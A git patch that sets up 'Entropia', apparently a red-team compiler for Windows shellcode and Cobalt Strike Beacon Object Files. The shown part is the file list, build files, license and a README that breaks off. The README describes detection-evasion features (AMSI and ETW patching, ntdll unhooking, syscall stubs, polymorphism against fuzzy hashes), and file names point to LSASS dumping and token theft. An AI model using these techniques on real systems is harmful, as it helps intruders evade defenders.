From 05acaba2a1a5fbde8cec3318319d053265ddb7ca Mon Sep 17 00:00:00 2001 From: XaFF-XaFF Date: Tue, 23 Jun 2026 15:21:12 +0200 Subject: [PATCH] Repository migration + experimental (stable version v0.1) of Entropia compiler --- .gitignore | 59 + Cargo.lock | 229 + Cargo.toml | 22 + LICENSE | 201 + README.md | 351 + assets/logo-dark.svg | 14 + assets/logo-light.svg | 14 + examples/asm_demo.etpy | 127 + examples/bin/bof_cna_test.cna | 16 + examples/bof_args_test.etpy | 23 + examples/bof_cna_test.etpy | 25 + examples/bof_enum_demo.etpy | 48 + examples/bof_filehunt.etpy | 133 + examples/bof_inject.etpy | 81 + examples/bof_lsass_dump.etpy | 102 + examples/bof_manual_mem.etpy | 22 + examples/bof_named_consts_demo.etpy | 20 + examples/bof_opsec_stack_demo.etpy | 27 + examples/bof_pslist.etpy | 39 + examples/bof_pslist_spoofed.etpy | 73 + examples/bof_sleep_mask_demo.etpy | 85 + examples/bof_stack_strings_demo.etpy | 24 + examples/bof_stage_test.etpy | 38 + examples/bof_token_steal.etpy | 81 + examples/bof_veh_test.etpy | 18 + examples/opsec_string_test.etpy | 25 + examples/sc_manual_mem.etpy | 13 + examples/sc_stack_strings_demo.etpy | 13 + run_bin.rs | 45 + src/asm.rs | 368 + src/ast.rs | 134 + src/cimport.rs | 687 + src/codegen.rs | 3450 +++++ src/coff.rs | 295 + src/dce.rs | 218 + src/encoder.rs | 1277 ++ src/gc.rs | 295 + src/lexer.rs | 221 + src/macros.rs | 51 + src/main.rs | 880 ++ src/parser.rs | 1045 ++ src/polymorphism.rs | 952 ++ src/resolver.rs | 378 + src/shared.rs | 58 + src/typecheck.rs | 610 + src/veh.rs | 59 + stdlib/Windows.h | 272 + stdlib/bof.etpy | 132 + stdlib/bytes.etpy | 57 + stdlib/list.etpy | 179 + stdlib/opsec/bootstrap_noop.etpy | 5 + stdlib/opsec/direct_syscall.etpy | 9 + stdlib/opsec/indirect_syscall.etpy | 50 + stdlib/opsec/sleep_ekko.etpy | 53 + stdlib/opsec/sleep_foliage.etpy | 33 + stdlib/opsec/sleep_mask.etpy | 39 + stdlib/opsec/sleep_simple.etpy | 25 + stdlib/opsec/stack_spoof.etpy | 230 + stdlib/opsec_amsi.etpy | 42 + stdlib/opsec_etw.etpy | 32 + stdlib/opsec_unhook.etpy | 116 + stdlib/option.etpy | 43 + stdlib/win32/authorization.h | 818 ++ stdlib/win32/console.h | 331 + stdlib/win32/cryptography.h | 7399 +++++++++++ stdlib/win32/debug.h | 4274 ++++++ stdlib/win32/environment.h | 154 + stdlib/win32/filesystem.h | 2653 ++++ stdlib/win32/foundation.h | 10704 ++++++++++++++++ stdlib/win32/index.md | 56 + stdlib/win32/io.h | 32 + stdlib/win32/kernel.h | 186 + stdlib/win32/libraryloader.h | 60 + stdlib/win32/memory.h | 305 + stdlib/win32/pipes.h | 28 + stdlib/win32/registry.h | 1024 ++ stdlib/win32/security.h | 890 ++ stdlib/win32/systeminformation.h | 676 + stdlib/win32/systemservices.h | 3681 ++++++ stdlib/win32/threading.h | 890 ++ stdlib/win32/toolhelp.h | 61 + stdlib/win32/windowsprogramming.h | 1188 ++ stdlib/win32/winhttp.h | 1046 ++ stdlib/win32/wininet.h | 1683 +++ stdlib/win32/winsock.h | 3673 ++++++ tools/bof-loader/Cargo.toml | 16 + tools/bof-loader/src/args.rs | 78 + tools/bof-loader/src/beacon.rs | 671 + tools/bof-loader/src/coff.rs | 110 + tools/bof-loader/src/lib.rs | 47 + tools/bof-loader/src/load.rs | 251 + tools/bof-runner/Cargo.toml | 12 + tools/bof-runner/src/main.rs | 75 + tools/entc-debug/Cargo.toml | 34 + tools/entc-debug/scripts/dap_asm_bp_smoke.py | 139 + .../scripts/dap_bof_output_smoke.py | 132 + tools/entc-debug/scripts/dap_launch_smoke.py | 166 + tools/entc-debug/src/dap.rs | 1985 +++ tools/entc-debug/src/main.rs | 108 + tools/entc-debug/src/sourcemap.rs | 227 + tools/entc-debug/src/tracer.rs | 841 ++ tools/entc-win32gen/Cargo.toml | 12 + tools/entc-win32gen/src/main.rs | 411 + tools/entc-win32gen/winmd/Windows.Win32.winmd | Bin 0 -> 24328704 bytes tools/entc-win32gen/winmd/win32metadata.nupkg | Bin 0 -> 6486362 bytes tools/vscode-entropykit/README.md | 169 + tools/vscode-entropykit/build.py | 253 + tools/vscode-entropykit/icons/etpy.svg | 1 + .../language-configuration.json | 29 + tools/vscode-entropykit/package.json | 144 + .../syntaxes/entropykit.tmLanguage.json | 408 + 111 files changed, 62394 insertions(+) create mode 100644 .gitignore create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 LICENSE create mode 100644 README.md create mode 100644 assets/logo-dark.svg create mode 100644 assets/logo-light.svg create mode 100644 examples/asm_demo.etpy create mode 100644 examples/bin/bof_cna_test.cna create mode 100644 examples/bof_args_test.etpy create mode 100644 examples/bof_cna_test.etpy create mode 100644 examples/bof_enum_demo.etpy create mode 100644 examples/bof_filehunt.etpy create mode 100644 examples/bof_inject.etpy create mode 100644 examples/bof_lsass_dump.etpy create mode 100644 examples/bof_manual_mem.etpy create mode 100644 examples/bof_named_consts_demo.etpy create mode 100644 examples/bof_opsec_stack_demo.etpy create mode 100644 examples/bof_pslist.etpy create mode 100644 examples/bof_pslist_spoofed.etpy create mode 100644 examples/bof_sleep_mask_demo.etpy create mode 100644 examples/bof_stack_strings_demo.etpy create mode 100644 examples/bof_stage_test.etpy create mode 100644 examples/bof_token_steal.etpy create mode 100644 examples/bof_veh_test.etpy create mode 100644 examples/opsec_string_test.etpy create mode 100644 examples/sc_manual_mem.etpy create mode 100644 examples/sc_stack_strings_demo.etpy create mode 100644 run_bin.rs create mode 100644 src/asm.rs create mode 100644 src/ast.rs create mode 100644 src/cimport.rs create mode 100644 src/codegen.rs create mode 100644 src/coff.rs create mode 100644 src/dce.rs create mode 100644 src/encoder.rs create mode 100644 src/gc.rs create mode 100644 src/lexer.rs create mode 100644 src/macros.rs create mode 100644 src/main.rs create mode 100644 src/parser.rs create mode 100644 src/polymorphism.rs create mode 100644 src/resolver.rs create mode 100644 src/shared.rs create mode 100644 src/typecheck.rs create mode 100644 src/veh.rs create mode 100644 stdlib/Windows.h create mode 100644 stdlib/bof.etpy create mode 100644 stdlib/bytes.etpy create mode 100644 stdlib/list.etpy create mode 100644 stdlib/opsec/bootstrap_noop.etpy create mode 100644 stdlib/opsec/direct_syscall.etpy create mode 100644 stdlib/opsec/indirect_syscall.etpy create mode 100644 stdlib/opsec/sleep_ekko.etpy create mode 100644 stdlib/opsec/sleep_foliage.etpy create mode 100644 stdlib/opsec/sleep_mask.etpy create mode 100644 stdlib/opsec/sleep_simple.etpy create mode 100644 stdlib/opsec/stack_spoof.etpy create mode 100644 stdlib/opsec_amsi.etpy create mode 100644 stdlib/opsec_etw.etpy create mode 100644 stdlib/opsec_unhook.etpy create mode 100644 stdlib/option.etpy create mode 100644 stdlib/win32/authorization.h create mode 100644 stdlib/win32/console.h create mode 100644 stdlib/win32/cryptography.h create mode 100644 stdlib/win32/debug.h create mode 100644 stdlib/win32/environment.h create mode 100644 stdlib/win32/filesystem.h create mode 100644 stdlib/win32/foundation.h create mode 100644 stdlib/win32/index.md create mode 100644 stdlib/win32/io.h create mode 100644 stdlib/win32/kernel.h create mode 100644 stdlib/win32/libraryloader.h create mode 100644 stdlib/win32/memory.h create mode 100644 stdlib/win32/pipes.h create mode 100644 stdlib/win32/registry.h create mode 100644 stdlib/win32/security.h create mode 100644 stdlib/win32/systeminformation.h create mode 100644 stdlib/win32/systemservices.h create mode 100644 stdlib/win32/threading.h create mode 100644 stdlib/win32/toolhelp.h create mode 100644 stdlib/win32/windowsprogramming.h create mode 100644 stdlib/win32/winhttp.h create mode 100644 stdlib/win32/wininet.h create mode 100644 stdlib/win32/winsock.h create mode 100644 tools/bof-loader/Cargo.toml create mode 100644 tools/bof-loader/src/args.rs create mode 100644 tools/bof-loader/src/beacon.rs create mode 100644 tools/bof-loader/src/coff.rs create mode 100644 tools/bof-loader/src/lib.rs create mode 100644 tools/bof-loader/src/load.rs create mode 100644 tools/bof-runner/Cargo.toml create mode 100644 tools/bof-runner/src/main.rs create mode 100644 tools/entc-debug/Cargo.toml create mode 100644 tools/entc-debug/scripts/dap_asm_bp_smoke.py create mode 100644 tools/entc-debug/scripts/dap_bof_output_smoke.py create mode 100644 tools/entc-debug/scripts/dap_launch_smoke.py create mode 100644 tools/entc-debug/src/dap.rs create mode 100644 tools/entc-debug/src/main.rs create mode 100644 tools/entc-debug/src/sourcemap.rs create mode 100644 tools/entc-debug/src/tracer.rs create mode 100644 tools/entc-win32gen/Cargo.toml create mode 100644 tools/entc-win32gen/src/main.rs create mode 100644 tools/entc-win32gen/winmd/Windows.Win32.winmd create mode 100644 tools/entc-win32gen/winmd/win32metadata.nupkg create mode 100644 tools/vscode-entropykit/README.md create mode 100644 tools/vscode-entropykit/build.py create mode 100644 tools/vscode-entropykit/icons/etpy.svg create mode 100644 tools/vscode-entropykit/language-configuration.json create mode 100644 tools/vscode-entropykit/package.json create mode 100644 tools/vscode-entropykit/syntaxes/entropykit.tmLanguage.json diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ac3485f --- /dev/null +++ b/.gitignore @@ -0,0 +1,59 @@ +/target/ +**/target/ +**/*.rs.bk +Cargo.lock.bak + +example/*.bin +example/*.obj +example/*.x64.o +example/*.x86.o +example/*.dbg +example/*.cna +*.bin +*.obj +*.x64.o +*.x86.o +*.dbg + +/tmp_build/ +build/ +out/ +docs/ + +tools/vscode-entropykit/*.vsix +tools/vscode-entropykit/node_modules/ +tools/vscode-entropykit/out/ +tools/vscode-entropykit/dist/ + +example/sclauncher64.exe +run_bin +run_bin.exe +TODO.md + +.vscode/ +!.vscode/launch.json +!.vscode/tasks.json +.idea/ +*.swp +*.swo +*~ +.vs/ +*.code-workspace +.claude/ +.copilot/ + +.DS_Store +Thumbs.db +desktop.ini + +*.log +*.log.* + +tools/entc-win32gen/.venv/ +tools/entc-win32gen/__pycache__/ +tools/entc-win32gen/*.pyc + +.env +.env.* +*.pem +*.key diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..af3d50c --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,229 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "bof-loader" +version = "0.1.0" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "bof-runner" +version = "0.1.0" +dependencies = [ + "bof-loader", +] + +[[package]] +name = "entc-debug" +version = "0.1.0" +dependencies = [ + "bof-loader", + "iced-x86", + "serde", + "serde_json", + "windows-sys", +] + +[[package]] +name = "entc-win32gen" +version = "0.1.0" +dependencies = [ + "windows-metadata", +] + +[[package]] +name = "entropykit" +version = "0.1.0" + +[[package]] +name = "iced-x86" +version = "1.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c447cff8c7f384a7d4f741cfcff32f75f3ad02b406432e8d6c878d56b1edf6b" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "windows-metadata" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3433ff56dde0408f2549eb155235c9991023d8c2a13608afa384d2681a6c3ad5" + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..9e09d99 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,22 @@ +[workspace] +members = [ + ".", + "tools/entc-win32gen", + "tools/entc-debug", + "tools/bof-runner", + "tools/bof-loader", +] +resolver = "2" + +[package] +name = "entropykit" +version = "0.1.0" +edition = "2021" + +[[bin]] +name = "entc" +path = "src/main.rs" + +[profile.release] +opt-level = 3 +lto = true diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..05c78ef --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2026 Ksawery Czapczyński + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..0b2b7fa --- /dev/null +++ b/README.md @@ -0,0 +1,351 @@ +
+ + + + Entropia + + +# Entropia + +A compiled language for Windows position-independent x86-64 shellcode and Beacon Object Files. + +[![License](https://img.shields.io/badge/license-Apache--2.0-cc2222?style=flat-square)](LICENSE) +[![Docs](https://img.shields.io/badge/docs-docs.entropykit.com-cc2222?style=flat-square)](https://docs.entropykit.com) +[![Build](https://img.shields.io/badge/build-cargo--build-cc2222?style=flat-square)](#building-from-source) +[![Platform](https://img.shields.io/badge/target-windows--x64-cc2222?style=flat-square)](#) +[![Status](https://img.shields.io/badge/status-experimental-cc2222?style=flat-square)](#status) + +[**Documentation**](https://docs.entropykit.com)  ·  +[**Project Setup**](https://docs.entropykit.com/getting-started/project-setup)  ·  +[**CLI Reference**](https://docs.entropykit.com/getting-started/cli)  ·  +[**Releases**](https://github.com/entropykit/entropia/releases) + +
+ +--- + +## A complete BOF in less then 30 lines + +```rust +use bof; +use_c "stdlib/win32/toolhelp.h"; + +fn go(args: char*, len: int) -> void { + var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { ret; } + + var pe: PROCESSENTRY32; + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + var ok: int = Kernel32.Process32First((void*)snap, &pe); + while ok != 0 { + BeaconPrintf(CALLBACK_OUTPUT, str.format("[+] {d} {s}\n", + (int)pe.th32ProcessID, + (char*)pe.szExeFile)); + ok = Kernel32.Process32Next((void*)snap, &pe); + } + Kernel32.CloseHandle((void*)snap); + ret; +} +``` + +That is a complete `ps` BOF. The `use_c` line pulls the `PROCESSENTRY32` +struct and the `TH32CS_SNAPPROCESS` constant straight from the Windows SDK +header, so you write the snapshot kind by name instead of as a raw `0x2` and +the struct layout matches the Microsoft ABI byte for byte. No IAT to +hand-roll, no relocations to apply yourself. `Kernel32.X(...)` calls lower +to indirect calls through slots the runtime fills before user code runs. + +--- + +## Quick start + +```bash +git clone https://github.com/entropykit/entropia.git +cd entropia + +# Build the workspace (3 binaries: entc, bof-runner, entc-debug) +cargo build --release + +# Compile a BOF with the full OPSEC stack enabled +./target/release/entc compile example/bof_pslist.etpy --type=bof --opsec=all + +# Run it under the local test harness +./target/release/bof-runner example/bin/bof_pslist.x64.o +``` + +For prebuilt binaries: grab them from +[GitHub Releases](https://github.com/entropykit/entropia/releases) and skip +the `cargo build` step. You can find full walkthrough including at +[docs.entropykit.com/getting-started/installation](https://docs.entropykit.com/getting-started/installation). + +--- + +## Why does this exist + +Most red-team artifacts ship through a build pipeline of three or four tools +chained together: a C compiler for the source, a linker, a +position-independence transform like DonutGen or sRDI, plus whatever you +wrote yourself to bolt OPSEC tricks on after the fact. Entropia compresses +that pipeline into a single compiler, while providing a modern high-level +language feeling. + +The output is the artifact you actually want, either a position-independent +shellcode blob or a Cobalt Strike Beacon Object File, with no post processing +step. The language is small enough to learn in an afternoon and complete +enough to ship production tooling in. The whole OPSEC stack +ships as compiler flags rather than post-build surgery. + +Because the compiler owns the pipeline end to end, everything composes. A +hand-written PEB walk in `asm { ... }`, a `[Hook("LIB$Func")]` attribute, +a `[Stage(Init)]` startup hook, and `--opsec=all` share the same internal +representation and do not fight each other. The artifact you ship is the +artifact the compiler emitted, polymorphed by a per-build random seed so +two consecutive builds of the same source differ by 67 to 78 percent at +the byte level. + +--- + +## Examples + +### Shellcode (`fn main` entry) + +```rust +use_c "winuser.h"; + +fn main() -> int { + User32.MessageBoxA(0, "hello", "entropia", 0); + ret 0; +} +``` + +```bash +entc compile hello.etpy # writes hello.bin +entc-debug hello.bin # run under the local loader +``` + +### BOF (`fn go` entry) + +```rust +use bof; + +fn go(args: char*, len: int) -> void { + var parser: datap; + BeaconDataParse(&parser, args, len); + var target: char* = BeaconDataExtract(&parser, 0); + BeaconPrintf(CALLBACK_OUTPUT, str.format("hello, {s}\n", target)); + ret; +} +``` + +```bash +entc compile hello.etpy --type=bof +bof-runner hello.x64.o --zarg "operator" +``` + +### Inline assembly + a real PEB walk + +```rust +fn read_peb() -> u64 { + var peb: u64; + asm { + mov rax, gs:[0x60]; + mov %peb, rax; + } + ret peb; +} +``` + +### OPSEC pre-flight in one line + +```rust +use opsec_unhook; // restores ntdll text section from disk +use opsec_etw; // patches Etw* hot paths +use opsec_amsi; // patches AmsiScanBuffer return + +fn go(args: char*, len: int) -> void { + // Pre-flight modules run before this line via [Stage(Init)]. + // Your code runs in a clean process. + ret; +} +``` + +--- + +## The OPSEC stack + +Every technique below is opt-in via `--opsec=`. The build seed +(`--seed=random` is the default) drives every randomized choice. + +| Flag | What it does | Mode | +|---|---|---| +| `poly` | Rewrites instructions after codegen. `xor` to `sub`, `mov MR` to `RM` to `lea`, `test` to `or` to `and`, NOP-run re-decomposition. | both | +| `nop_sled` | Pads every function entry with random multi-byte NOPs. Shifts every downstream byte offset so whole-binary fuzzy hashes drift between builds. | both | +| `strings_xor` | XOR-encrypts `.rdata` and `.data` with a per-build random key. Decryptor runs before user code. | shellcode | +| `stack_strings` | Materialises string constants on the stack rather than in `.rdata`. Eliminates plaintext strings from the artifact. | both | +| `direct_syscalls` | Auto-imports a HellsGate-style stub. Every `Ntdll.X(...)` dispatches via `syscall` inside our code region. | both | +| `indirect_syscalls` | Auto-imports an indirect-syscall stub. Every `Ntdll.X(...)` jumps to a `syscall;ret` gadget inside ntdll itself. | both | +| `hashed_imports` | Drops every `__imp_LIB$Func` external symbol from BOFs. Win32 imports resolve at runtime via PEB walk plus LoadLibraryA plus GetProcAddress. | BOF | + +Stack spoofing (Draugr-style synthetic call frames) and operator-selectable +sleep masks are available as explicit `use opsec_stack_spoof;` and +`use opsec_sleep_mask;` imports. + +> Measured byte-level diversity between two builds with `--opsec=all` and +> different seeds: **67 to 78 percent.** Well past every published fuzzy-hash +> threshold. + +--- + +## What's in the box + +| Binary | What it does | +|---|---| +| `entc` | The 